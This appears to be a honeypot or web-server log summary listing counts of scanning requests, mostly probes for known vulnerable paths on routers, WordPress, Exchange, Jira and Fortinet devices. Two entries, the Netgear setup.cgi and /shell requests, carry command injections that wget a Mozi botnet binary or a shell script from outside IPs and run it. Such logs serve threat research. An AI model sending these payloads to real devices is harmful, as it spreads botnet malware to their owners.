1	GET	`/.mailmap`	HTTP/1.1
1	GET	`//netcore_get[.]cgi`	HTTP/1.1
1	GET	`/1666249872`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0=`	HTTP/1.1
1	GET	`/?rest_route=/wp/v2/users/`	HTTP/1.1
1	GET	`/BSW_cxttongr.htm`	HTTP/1.1
1	GET	`/CGI/Java/Serviceability?adapter=device.statistics.configuration`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/about`	HTTP/1.1
1	GET	`/action/usermanager.htm`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/api/search?folderIds=0`	HTTP/1.1
1	GET	`/api/system/deviceinfo`	HTTP/1.1
1	GET	`/backupsettings.dat`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/category_view.php`	HTTP/1.1
1	GET	`/cgi-bin/ExportLogs.sh`	HTTP/1.1
1	GET	`/cgi-bin/config.exp`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
3	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/device.rsp?opt=user&cmd=list`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
1	GET	`/dumpmdm.cmd`	HTTP/1.1
1	GET	`/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/folder_view.php`	HTTP/1.1
1	GET	`/get_dkey.php?user=admin`	HTTP/1.1
1	GET	`/index.asp`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/login.action`	HTTP/1.1
1	GET	`/messages`	HTTP/1.1
1	GET	`/my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0=`	HTTP/1.1
1	GET	`/owa/auth/logon.aspx?replaceCurrent=1&url=http[:]//13[.]67[.]44[.]234:80/ecp`	HTTP/1.1
1	GET	`/password.cgi`	HTTP/1.1
1	GET	`/password.html`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/s/31332e36372e34342e323334/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]213[.]41[.]231:50462/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+109[.]206[.]241[.]129/666.sh;sh+/tmp/666.sh`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/status.htm`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/sysinit.shtml?r=52300`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/telescope/requests`	HTTP/1.1
1	GET	`/tool/view/phpinfo.view.php`	HTTP/1.1
1	GET	`/user/scripts/login_par.js`	HTTP/1.1
1	GET	`/v2/_catalog`	HTTP/1.1
1	GET	`/web_shell_cmd.gch`	HTTP/1.1
1	GET	`/webmail/`	HTTP/1.1
1	GET	`/wifi_base.shtml`	HTTP/1.1
1	GET	`/wp-content/uploads/mc4wp-debug.log`	HTTP/1.1
1	GET	`/xmldata?item=CpqKey`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	HEAD	`/`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/api/external/7.0/system.System.get_infos`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
2	PRI	`*`	HTTP/2.0
1	PUT	`/api/v2/cmdb/system/admin/admin`	HTTP/1.1